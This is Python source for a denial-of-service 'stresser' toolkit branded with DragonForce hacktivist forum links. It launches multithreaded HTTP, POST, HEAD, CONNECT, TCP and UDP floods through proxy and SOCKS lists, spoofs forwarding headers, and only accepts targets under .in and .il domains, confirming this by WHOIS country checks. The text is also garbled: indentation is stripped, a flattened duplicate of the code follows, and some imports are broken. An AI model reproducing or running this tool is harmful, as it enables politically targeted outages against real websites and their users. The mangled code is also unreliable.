colorama.init(autoreset=True)
system = platform.system()
def clear():
if system == "Windows":
os.system("cls")
elif system == "Linux":
os.system("clear")
else:
os.system("printf '\033c'")
clear()
if sys.platform.startswith("linux") or sys.platform.startswith("freebsd") or sys.platform.startswith("debian") or sys.platform.startswith("redhat"):
from scapy.all import
from scapy.layers.inet import IP, TCP
from scapy.layers.inet import UDP
USE_SCAPY = True
elif "TERMUX_PREFIX" in os.environ:
from kamene.all import
from kamene.layers.inet import IP, TCP
from kamene.layers.inet import UDP
USE_SCAPY = False
print(f"{Fore.YELLOW} [Termusss] - This is still in experimental mode! TCP & UDP attack might not work! \n")
else:
from kamene.all import *
from kamene.layers.inet import IP, TCP, RandShort, Raw
from kamene.layers.inet import UDP
USE_SCAPY = False
print(f"{Fore.YELLOW} [Termusss] - This is still in experimental mode! TCP & UDP attack might not work! \n")
with open('Files/user-agents.txt', 'r') as f1:
useragents = f1.read().splitlines()
def targetType():
type = input(f"\n{Fore.GREEN}[+] - Choose your target type!\n\n{Fore.CYAN}- URL {Fore.RED}[0]\n{Fore.CYAN}- {Fore.CYAN}IP Address {Fore.RED}[1]\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}").strip()
if type == "":
clear()
print (f"{Fore.RED}\nBro? Whutt are u doin? lmao.")
targetType()
if type == "0":
urlInput()
elif type == "1":
ipInput()
else:
clear()
print (f"{Fore.RED}\nBro? Whutt are u doin? lmao.")
targetType()
def urlInput():
global url, url2
url = input(f"\n{Fore.GREEN}[+] - Enter URL [Without HTTP/S or WWW]\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}").strip()
if url == "":
clear()
print (f"{Fore.RED}\nBro? Whutt are u doin? lmao.")
urlInput()
url2 = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0]
if not url.endswith((".in", ".il")):
clear()
print(f"{Fore.RED}\nThe entered URL does not end with '.in' or '.il'. Please try again!")
urlInput()
parimalamode()
def ipInput():
global url, url2, ip_pattern
if not sys.platform.startswith("linux") or sys.platform.startswith("freebsd") or sys.platform.startswith("debian") or sys.platform.startswith("redhat") or "TERMUX_PREFIX" in os.environ:
print(f"{Fore.CYAN}[!!!] - {Fore.RED}Your system does not support UDP/TCP!")
url = input(f"\n{Fore.GREEN}[+] - Enter IP Address [Without HTTP/S or WWW]\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}").strip()
if url == "":
print (f"{Fore.RED}\nBro? Whutt are u doin? lmao.")
ipInput()
ip_pattern = re.compile(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}')
if ip_pattern.match(url):
# Check if the URL obtained from the IP address ends with ".in" or ".il"
ip_url = get_url(url)
if ip_url and ip_url.endswith(("IN", "IL")):
url2 = url
else:
clear()
print(f"{Fore.RED}\nThe URL obtained from the IP address origin is not 'IL' or 'IN'! Try to use URL.")
targetType()
else:
url2 = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0]
parimalamode()
def get_url(ip_address):
try:
query = ip_address
whois = whois21.WHOIS(query)
result = whois.get('COUNTRY')
if not whois.success:
clear()
print(f"\n{Fore.CYAN}[!!!] - {Fore.RED}Error: {whois.error}")
exit()
if isinstance(result, list):
result = result[0]
if result in ("IN", "IL"):
return result
else:
clear()
print(f"{Fore.CYAN}[!!!] - {Fore.RED}The script only allows domains from [.il] or [.in]!")
print(f"{Fore.RED}\nCountry Code: {result} | IP: {ip_address}")
ipInput()
except Exception as e:
clear()
print(result)
print(f"\n{Fore.CYAN}[!!!] - {Fore.RED}Error: {e}")
targetType()
def parimalamode():
global choice1
choice1 = input(f"{Fore.GREEN}\n[+] Perform With 7-Layers [+]\n\n{Fore.CYAN}- HTTP Flood (Windows/Non-Root) {Fore.RED}[0]\n{Fore.CYAN}- {Fore.CYAN}TCP Flood (Root Linux) {Fore.RED}[1]\n{Fore.CYAN}- UDP Flood (Root Linux) {Fore.RED}[2]\n{Fore.CYAN}- POST Flood (Windows/Non-Root) {Fore.RED}[3]\n{Fore.CYAN}- HEAD Flood (Windows/Non-Root) {Fore.RED}[4]\n{Fore.CYAN}- CONNECT Flood (Windows/Non-Root) {Fore.RED}[5]\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}")
if choice1 == "0":
clear()
parimalamport()
elif choice1 == "1":
clear()
print(f"{Fore.RED}[!!!] - {Fore.GREEN}Your system may or may not support this method without root. The script may break!")
parimalamport()
elif choice1 == "2":
clear()
print(f"{Fore.RED}[!!!] - {Fore.GREEN}Your system may or may not support this method without root. The script may break!")
parimalamport()
elif choice1 == "3":
clear()
parimalamport()
elif choice1 == "4":
clear()
parimalamport()
elif choice1 == "5":
clear()
parimalamport()
else:
clear()
print (f"{Fore.RED}You mistyped, try again.")
parimalamode()
def parimalamport():
global port, url2, url
try:
port = int(input(f"{Fore.CYAN}\nChoose Port to Attack - {Fore.GREEN}[1 - 20000]\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}"))
portlist = range(65535)
if port not in [80, 443] and port in portlist:
clear()
proxymode()
else:
if port == 80:
if url.startswith("http://"):
url2 = url
else:
url2 = "http://" + url
elif port == 443:
if url.startswith("https://"):
url2 = url
else:
url2 = "https://" + url
except ValueError:
clear()
print(f"{Fore.RED}You mistyped, try again.")
parimalamode()
else:
proxymode()
with open(out_file, 'r') as f:
dupe_proxy = set(f.readlines())
with open(out_file, 'w') as f:
for proxy in dupe_proxy:
f.write(proxy)
with open(out_file, 'r') as f:
proxies = [x.strip() for x in f.readlines()]
if len(proxies) > 10 and out_file == "proxy.txt":
print(f"{Fore.GREEN}[w00t!] - {Fore.MAGENTA}Working Proxy: ({len(proxies)})")
elif out_file == "working_proxy.txt":
print(f"{Fore.GREEN}[w00t!] - {Fore.MAGENTA}Total working proxy:({len(proxies)}):")
else:
print(f"{Fore.GREEN}[w00t!] - {Fore.RED}No proxy file detected!")
exit(0)
numthreads()
proxies2 = {}
with open(out_file, 'r') as f:
proxies2 = {x.strip(): None for x in f.readlines()}
def numthreads():
global threads
clear()
try:
threads = int(input(f"\n\n{Fore.CYAN}[w00t!] - {Fore.GREEN}Enter your desired thread amount.{Fore.YELLOW}\n- Threads for Low-End Devices {Fore.RED}[15-30]{Fore.YELLOW}\n- Threads for Mid-End Devices {Fore.RED}[31-50]{Fore.YELLOW}\n- Threads for High-End Devices {Fore.RED}[51-100]\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}"))
if threads < 15:
print(f"{Fore.GREEN}\n[w00t!] - Thread are set too low! Try again.")
numthreads()
elif threads >= 15:
print(f"{Fore.GREEN}\n[w00t!] - Thread are set to [{threads}].\n\n")
elif threads >= 50:
print(f"{Fore.GREEN}\n[w00t!] - Thread are set to [{threads}].\n\n{Fore.YELLOW}[w00t!] - Temperature may rise unexpectedly!")
except ValueError:
print(f"{Fore.RED}\n[w00t!] - Invalid thread number!\n")
numthreads()
if threads > 101:
print(f"{Fore.RED}[w00t!] - Error: Exceeding 100 is too overkill! Try again.")
multiplication()
def multiplication():
global multiple
clear()
try:
multiple = int(input(f"{Fore.CYAN}\nMinimum Multiplication Attack\n\n{Fore.GREEN}- Low Multiplier: [50-100]\n{Fore.BLUE}- Normal Multiplier: [100-500]\n{Fore.MAGENTA}- Best Multiplier: [500-1000]\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}"))
except ValueError:
print(f"{Fore.RED}You mistyped, try again.\n")
multiplication()
begin()
def loop():
global threads
global get_host
global acceptall
global connection
global go
global x
go = threading.Event()
if choice1 == "0":
get_host = "GET " + url2 + " HTTP/1.1\r\nHost: " + url2 + "\r\n"
acceptall = ["Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", "Accept-Encoding: gzip, deflate\r\n", "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n"]
connection = "Connection: Keep-Alive\r\n"
x = 0
if choice1 == "3":
get_host = "POST " + url2 + " HTTP/1.1\r\nHost: " + url2 + "\r\n"
acceptall = ["Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", "Accept-Encoding: gzip, deflate\r\n", "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n"]
connection = "Connection: Keep-Alive\r\n"
x = 0
if choice1 == "4":
get_host = "HEAD " + url2 + " HTTP/1.1\r\nHost: " + url2 + "\r\n"
acceptall = ["Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", "Accept-Encoding: gzip, deflate\r\n", "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n"]
connection = "Connection: Keep-Alive\r\n"
x = 0
if choice1 == "5":
get_host = "CONNECT " + url2 + " HTTP/1.1\r\nHost: " + url2 + "\r\n"
acceptall = ["Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", "Accept-Encoding: gzip, deflate\r\n", "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n"]
connection = "Connection: Keep-Alive\r\n"
x = 0
if choice1 == "1":
if choice2.lower() == "y":
if choice3 == "0":
for x in range(threads):
tcpfloodproxed(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
elif choice3 == "1":
for x in range(threads):
tcpfloodsocked(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
else:
for x in range(threads):
tcpflood(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
else:
for x in range(threads):
tcpflood(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
if choice1 == "2":
if choice2.lower() == "y":
if choice3 == "0":
for x in range(threads):
udpfloodproxed(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
elif choice3 == "1":
for x in range(threads):
udpfloodsocked(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
else:
for x in range(threads):
udpflood(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
else:
for x in range(threads):
udpflood(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
if choice1 == "3":
if choice2.lower() == "y":
if choice3 == "0":
for x in range(threads):
requestproxy(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
elif choice3 == "1":
for x in range(threads):
requestsocks(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
else:
for x in range(threads):
requestproxy(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
else:
for x in range(threads):
direct(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
if choice1 == "4":
if choice2.lower() == "y":
if choice3 == "0":
for x in range(threads):
requestproxy(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
elif choice3 == "1":
for x in range(threads):
requestsocks(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
else:
for x in range(threads):
requestproxy(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
else:
for x in range(threads):
direct(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
if choice1 == "5":
if choice2.lower() == "y":
if choice3 == "0":
for x in range(threads):
requestproxy(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
elif choice3 == "1":
for x in range(threads):
requestsocks(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
else:
for x in range(threads):
requestproxy(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
else:
for x in range(threads):
direct(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
if choice1 == "0":
if choice2.lower() == "y":
if choice3 == "0":
for x in range(threads):
requestproxy(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
elif choice3 == "1":
for x in range(threads):
requestsocks(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
else:
for x in range(threads):
direct(x+1).start()
print (f"{Fore.CYAN}Thread " + str(x) + " Ready!")
go.set()
class tcpfloodproxed(threading.Thread):
def init(self, counter):
threading.Thread.init(self)
self.counter = counter
def generate_packet(self):
data = random._urandom(2048)
if USE_SCAPY:
packet = bytes(IP(dst=str(url))/TCP(sport=RandShort()._fix(), dport=int(port))/data)
else:
packet = IP(dst=str(url))/TCP(sport=RandShort()._fix(), dport=int(port))/data
return bytes(packet)
def run(self):
p = self.generate_packet()
current = x
if current < len(proxies):
proxy = proxies[current].strip().split(':')
else:
proxy = random.choice(proxies).strip().split(":")
go.wait()
while True:
try:
socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True)
s = socks.socksocket()
s.connect((str(url), int(port)))
s.send(p)
print(f"{Fore.GREEN}[w00t!] - Request sent from " + str(proxy[0]) + ":" + str(proxy[1]) + " @", self.counter)
try:
for y in range(multiple):
s.send(str.encode(p))
except:
s.close()
except:
s.close()
class tcpfloodsocked(threading.Thread):
def init(self, counter):
threading.Thread.init(self)
self.counter = counter
def generate_packet(self):
data = random._urandom(2048)
if USE_SCAPY:
packet = bytes(IP(dst=str(url))/TCP(sport=RandShort()._fix(), dport=int(port))/data)
else:
packet = IP(dst=str(url))/TCP(sport=RandShort()._fix(), dport=int(port))/data
return bytes(packet)
def run(self):
p = self.generate_packet()
current = x
if current < len(proxies):
proxy = proxies[current].strip().split(':')
else:
proxy = random.choice(proxies).strip().split(":")
go.wait()
while True:
try:
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True)
s = socks.socksocket()
s.connect((str(url), int(port)))
s.send(p)
print(f"{Fore.GREEN}[w00t!] - Request sent from " + str(proxy[0]) + ":" + str(proxy[1]) + " @", self.counter)
try:
for y in range(multiple):
s.send(str.encode(p))
except:
s.close()
except:
s.close()
try:
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True)
s = socks.socksocket()
s.connect((str(url), int(port)))
s.send(p)
print(f"{Fore.GREEN}[w00t!] - Request sent from " + str(proxy[0]) + ":" + str(proxy[1]) + " @", self.counter)
try:
for y in range(multiple):
s.send(str.encode(p))
except:
s.close()
except:
print(f"{Fore.RED}Sock down. Retrying request. @", self.counter)
s.close()
class tcpflood(threading.Thread):
def init(self, counter):
threading.Thread.init(self)
self.counter = counter
def generate_packet(self):
data = random._urandom(2048)
if USE_SCAPY:
packet = bytes(IP(dst=str(url))/TCP(sport=RandShort()._fix(), dport=int(port))/data)
else:
packet = IP(dst=str(url))/TCP(sport=RandShort()._fix(), dport=int(port))/data
return bytes(packet)
def run(self):
p = self.generate_packet()
go.wait()
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(url), int(port)))
s.send(p)
print(f"{Fore.GREEN}[w00t!] - Request sent directly! @", self.counter)
try:
for y in range(multiple):
s.send(str.encode(p))
except:
s.close()
except:
s.close()
class udpfloodproxed(threading.Thread):
def init(self, counter):
threading.Thread.init(self)
self.counter = counter
def generate_packet(self):
data = random._urandom(2048)
if USE_SCAPY:
packet = bytes(IP(dst=str(url))/UDP(dport=int(port))/data)
else:
packet = IP(dst=str(url))/UDP(dport=int(port))/data
return bytes(packet)
def run(self):
p = self.generate_packet()
current = x
if current < len(proxies):
proxy = proxies[current].strip().split(':')
else:
proxy = random.choice(proxies).strip().split(":")
go.wait()
while True:
try:
socks.setdefaultproxy(socks.PROXY_TYPE_HTTP, str(proxy[0]), int(proxy[1]), True)
s = socks.socksocket()
s.connect((str(url), int(port)))
s.send(p)
print(f"{Fore.GREEN}[w00t!] - Request sent from " + str(proxy[0]) + ":" + str(proxy[1]) + " @", self.counter)
try:
for y in range(multiple):
s.send(str.encode(p))
except:
s.close()
except:
s.close()
class udpfloodsocked(threading.Thread):
def init(self, counter):
threading.Thread.init(self)
self.counter = counter
def generate_packet(self):
data = random._urandom(2048)
if USE_SCAPY:
packet = bytes(IP(dst=str(url))/UDP(dport=int(port))/data)
else:
packet = IP(dst=str(url))/UDP(dport=int(port))/data
return bytes(packet)
def run(self):
p = self.generate_packet()
current = x
if current < len(proxies):
proxy = proxies[current].strip().split(':')
else:
proxy = random.choice(proxies).strip().split(":")
go.wait()
while True:
try:
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]), True)
s = socks.socksocket()
s.connect((str(url), int(port)))
s.send(p)
print(f"{Fore.GREEN}[w00t!] - Request sent from " + str(proxy[0]) + ":" + str(proxy[1]) + " @", self.counter)
try:
for y in range(multiple):
s.send(str.encode(p))
except:
s.close()
except:
s.close()
try:
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS4, str(proxy[0]), int(proxy[1]), True)
s = socks.socksocket()
s.connect((str(url), int(port)))
s.send(p)
print(f"{Fore.GREEN}[w00t!] - Request sent from " + str(proxy[0]) + ":" + str(proxy[1]) + " @", self.counter)
try:
for y in range(multiple):
s.send(str.encode(p))
except:
s.close()
except:
print(f"{Fore.RED}Sock down. Retrying request. @", self.counter)
s.close()
class udpflood(threading.Thread):
def init(self, counter):
threading.Thread.init(self)
self.counter = counter
def generate_packet(self):
data = random._urandom(2048)
if USE_SCAPY:
packet = bytes(IP(dst=str(url))/UDP(dport=int(port))/data)
else:
packet = IP(dst=str(url))/UDP(dport=int(port))/data
return bytes(packet)
def run(self):
p = self.generate_packet()
go.wait()
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(url), int(port)))
s.send(p)
print(f"{Fore.GREEN}[w00t!] - Request Sent! @", self.counter)
try:
for y in range(multiple):
s.send(str.encode(p))
except:
s.close()
except:
s.close()
class requestproxy(threading.Thread):
def __init__(self, counter):
threading.Thread.__init__(self)
self.counter = counter
def run(self):
useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
accept = random.choice(acceptall)
randomip = str(random.randint(0, 255)) + "." + str(random.randint(0, 255)) + "." + str(random.randint(0, 255)) + "." + str(random.randint(0, 255))
forward = "X-Forwarded-For: " + randomip + "\r\n"
origin = "X-Originating-IP: " + randomip + "\r\n"
remote = "X-Remote-IP: " + randomip + "\r\n"
remote_addr = "X-Remote-Addr: " + randomip + "\r\n"
client = "X-Client-IP: " + randomip + "\r\n"
request = get_host + useragent + accept + forward + origin + remote + remote_addr + client + connection + "\r\n"
current = x
if proxy_enabled == '1':
if current < len(proxies):
proxy = proxies[current].strip().split(':')
go.wait()
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(proxy[0]), int(proxy[1])))
s.send(str.encode(request))
print(f"{Fore.GREEN}[w00t!] - Request sent from " + str(proxy[0])+":"+str(proxy[1]) + " @", self.counter)
try:
for y in range(multiple):
s.send(str.encode(request))
except:
s.close()
except:
s.close()
else:
proxy = random.choice(proxies).strip().split(":")
go.wait()
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(proxy[0]), int(proxy[1])))
s.send(str.encode(request))
print(f"{Fore.GREEN}[w00t!] - Request sent from " + str(proxy[0])+":"+str(proxy[1]) + " @", self.counter)
try:
for y in range(multiple):
s.send(str.encode(request))
except:
s.close()
except:
s.close()
else:
go.wait()
while True:
try:
# Direct connection without a proxy
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((url, port))
s.send(str.encode(request))
print(f"{Fore.GREEN}[w00t!] - Request sent directly @", self.counter)
try:
for y in range(multiple):
s.send(str.encode(request))
except:
s.close()
except:
s.close()
import socket import socks import threading import random import re import requests import os import platform import collections from collections.abc import MutableSet collections.MutableSet = collections.abc.MutableSet from collections.abc import MutableMapping collections.MutableMapping = collections.abc.MutableMapping from h2.connection import H2Connection from h2.events import RequestReceived, StreamReset from h2.config import H2Configuration import ssl from h2.errors import ErrorCodes import sys from sys import stdout import colorama import concurrent.futures from colorama import Fore, Style, Back, init import ssl import whois21 import dns.resolver
def set_custom_dns(): custom_dns = ['1.1.1.1, 1.0.0.1'] dns.resolver.default_resolver = dns.resolver.Resolver(configure=False) dns.resolver.default_resolver.nameservers = custom_dns
colorama.init(autoreset=True) system = platform.system() def clear(): if system == "Windows": os.system("cls") elif system == "Linux": os.system("clear") else: os.system("printf '\033c'") clear()
if sys.platform.startswith("linux") or sys.platform.startswith("freebsd") or sys.platform.startswith("debian") or sys.platform.startswith("redhat"): from scapy.all import from scapy.layers.inet import IP, TCP from scapy.layers.inet import UDP USE_SCAPY = True elif "TERMUX_PREFIX" in os.environ: from kamene.all import from kamene.layers.inet import IP, TCP from kamene.layers.inet import UDP USE_SCAPY = False print(f"{Fore.YELLOW} [Termusss] - This is still in experimental mode! TCP & UDP attack might not work! \n") else: from kamene.all import * from kamene.layers.inet import IP, TCP, RandShort, Raw from kamene.layers.inet import UDP USE_SCAPY = False print(f"{Fore.YELLOW} [Termusss] - This is still in experimental mode! TCP & UDP attack might not work! \n")
clear() def banners(): stdout.write(Fore.YELLOW +"╔════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗\n") stdout.write(Fore.YELLOW +"║ "+Fore.LIGHTRED_EX +"██████╗ ██████╗ █████╗ ██████╗ ██████╗ ███╗ ██╗███████╗ ██████╗ ██████╗ ██████╗███████╗ ██╗ ██████╗ "+Fore.YELLOW +" ║\n") stdout.write(Fore.YELLOW +"║ "+Fore.LIGHTRED_EX +"██╔══██╗██╔══██╗██╔══██╗██╔════╝ ██╔═══██╗████╗ ██║██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝ ██║██╔═══██╗"+Fore.YELLOW +" ║\n") stdout.write(Fore.YELLOW +"║ "+Fore.LIGHTRED_EX +"██║ ██║██████╔╝███████║██║ ███╗██║ ██║██╔██╗ ██║█████╗ ██║ ██║██████╔╝██║ █████╗ ██║██║ ██║"+Fore.YELLOW +" ║\n") stdout.write(Fore.YELLOW +"║ "+Fore.LIGHTRED_EX +"██║ ██║██╔══██╗██╔══██║██║ ██║██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║ ██╔══╝ ██║██║ ██║"+Fore.YELLOW +" ║\n") stdout.write(Fore.YELLOW +"║ "+Fore.LIGHTRED_EX +"██║ ██║██╔══██╗██╔══██║██║ ██║██║ ██║██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗██║ ██╔══╝ ██║██║ ██║"+Fore.YELLOW +" ║\n") stdout.write(Fore.YELLOW +"║ "+Fore.LIGHTRED_EX +"██████╔╝██║ ██║██║ ██║╚██████╔╝╚██████╔╝██║ ╚████║██║ ╚██████╔╝██║ ██║╚██████╗███████╗██╗██║╚██████╔╝"+Fore.YELLOW +" ║\n") stdout.write(Fore.YELLOW +"║ "+Fore.LIGHTRED_EX +"╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝╚═╝╚═╝ ╚═════╝ "+Fore.YELLOW +" ║\n") stdout.write(Fore.YELLOW +"║ "+Fore.LIGHTRED_EX +" ██╗ ██╗ ██████╗ ██████╗ ███████╗██████╗ █████╗ ██████╗ █████╗ ██╗"+Fore.YELLOW +" ║\n") stdout.write(Fore.YELLOW +"║ "+Fore.LIGHTRED_EX +" ████████╗██╔═══██╗██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║"+Fore.YELLOW +" ║\n") stdout.write(Fore.YELLOW +"║ "+Fore.LIGHTRED_EX +" ╚██╔═██╔╝██║ ██║██████╔╝███████╗██████╔╝███████║██║ ██║███████║██║"+Fore.YELLOW +" ║\n") stdout.write(Fore.YELLOW +"║ "+Fore.LIGHTRED_EX +" ████████╗██║ ██║██╔═══╝ ╚════██║██╔══██╗██╔══██║██║ ██║██╔══██║██║"+Fore.YELLOW +" ║\n") stdout.write(Fore.YELLOW +"║ "+Fore.LIGHTRED_EX +" ╚██╔═██╔╝╚██████╔╝██║ ███████║██████╔╝██║ ██║██████╔╝██║ ██║██║"+Fore.YELLOW +" ║\n") stdout.write(Fore.YELLOW +"║ "+Fore.LIGHTRED_EX +" ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝╚═╝"+Fore.YELLOW +" ║\n") stdout.write(Fore.YELLOW +"╚══"+Fore.YELLOW +"═════════════╦═════════════════════════════════╦══════════════════════════════════════════════════════════════╝\n") stdout.write(" "+Fore.YELLOW +"╔══════════════╩═════════════════════════════════╩═══════════════════════════╗\n") stdout.write(" "+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"AUTHOR "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" Pari Malam & Vip3rLi0n "+Fore.YELLOW+"║\n") stdout.write(" "+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"GITHUB "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" https://github.com/Vip3rLi0n "+Fore.YELLOW+"║\n") stdout.write(" "+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"VERSION "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" 6.2 "+Fore.YELLOW+"║\n") stdout.write(" "+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"WARNING "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" Only used for .il/.in domain! "+Fore.YELLOW+"║\n") stdout.write(" "+Fore.YELLOW +"╠════════════════════════════════════════════════════════════════════════════╣\n") stdout.write(" "+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"OFFICIAL FORUM "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" https://dragonforce.io "+Fore.YELLOW+"║\n") stdout.write(" "+Fore.YELLOW +"║ \x1b[38;2;255;20;147m• "+Fore.GREEN+"OFFICIAL TELEGRAM "+Fore.RED+" |"+Fore.LIGHTWHITE_EX+" @Dragonforceio "+Fore.YELLOW+"║\n") stdout.write(" "+Fore.YELLOW +"╚════════════════════════════════════════════════════════════════════════════╝\n") print(f"{Fore.YELLOW} 7Layer-Maybe | Stresser7 DoS Attack Toolkit\n") banners()
with open('Files/user-agents.txt', 'r') as f1: useragents = f1.read().splitlines()
def targetType(): type = input(f"\n{Fore.GREEN}[+] - Choose your target type!\n\n{Fore.CYAN}- URL {Fore.RED}[0]\n{Fore.CYAN}- {Fore.CYAN}IP Address {Fore.RED}[1]\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}").strip()
def urlInput(): global url, url2
def ipInput(): global url, url2, ip_pattern
def get_url(ip_address): try: query = ip_address whois = whois21.WHOIS(query) result = whois.get('COUNTRY') if not whois.success: clear() print(f"\n{Fore.CYAN}[!!!] - {Fore.RED}Error: {whois.error}") exit() if isinstance(result, list): result = result[0]
def parimalamode(): global choice1 choice1 = input(f"{Fore.GREEN}\n[+] Perform With 7-Layers [+]\n\n{Fore.CYAN}- HTTP Flood (Windows/Non-Root) {Fore.RED}[0]\n{Fore.CYAN}- {Fore.CYAN}TCP Flood (Root Linux) {Fore.RED}[1]\n{Fore.CYAN}- UDP Flood (Root Linux) {Fore.RED}[2]\n{Fore.CYAN}- POST Flood (Windows/Non-Root) {Fore.RED}[3]\n{Fore.CYAN}- HEAD Flood (Windows/Non-Root) {Fore.RED}[4]\n{Fore.CYAN}- CONNECT Flood (Windows/Non-Root) {Fore.RED}[5]\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}") if choice1 == "0": clear() parimalamport() elif choice1 == "1": clear() print(f"{Fore.RED}[!!!] - {Fore.GREEN}Your system may or may not support this method without root. The script may break!") parimalamport() elif choice1 == "2": clear() print(f"{Fore.RED}[!!!] - {Fore.GREEN}Your system may or may not support this method without root. The script may break!") parimalamport() elif choice1 == "3": clear() parimalamport() elif choice1 == "4": clear() parimalamport() elif choice1 == "5": clear() parimalamport() else: clear() print (f"{Fore.RED}You mistyped, try again.") parimalamode()
def parimalamport(): global port, url2, url try: port = int(input(f"{Fore.CYAN}\nChoose Port to Attack - {Fore.GREEN}[1 - 20000]\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}")) portlist = range(65535) if port not in [80, 443] and port in portlist: clear() proxymode() else: if port == 80: if url.startswith("http://"): url2 = url else: url2 = "http://" + url elif port == 443: if url.startswith("https://"): url2 = url else: url2 = "https://" + url except ValueError: clear() print(f"{Fore.RED}You mistyped, try again.") parimalamode() else: proxymode()
def proxymode(): global choice2 global proxy_enabled choice2 = input(f"{Fore.CYAN}\nEnable Proxy & SOCKS Method? - {Fore.GREEN}Press [Y] {Fore.GREEN}Enable {Fore.RED}[N] Disable (Not Recommended!)\n\n{Fore.YELLOW}#OpsBadai@CyberTroopers:- {Fore.RED}") if choice2.lower() == "y": proxy_enabled = '1' choiceproxysocks() else: proxy_enabled = '0' numthreads()
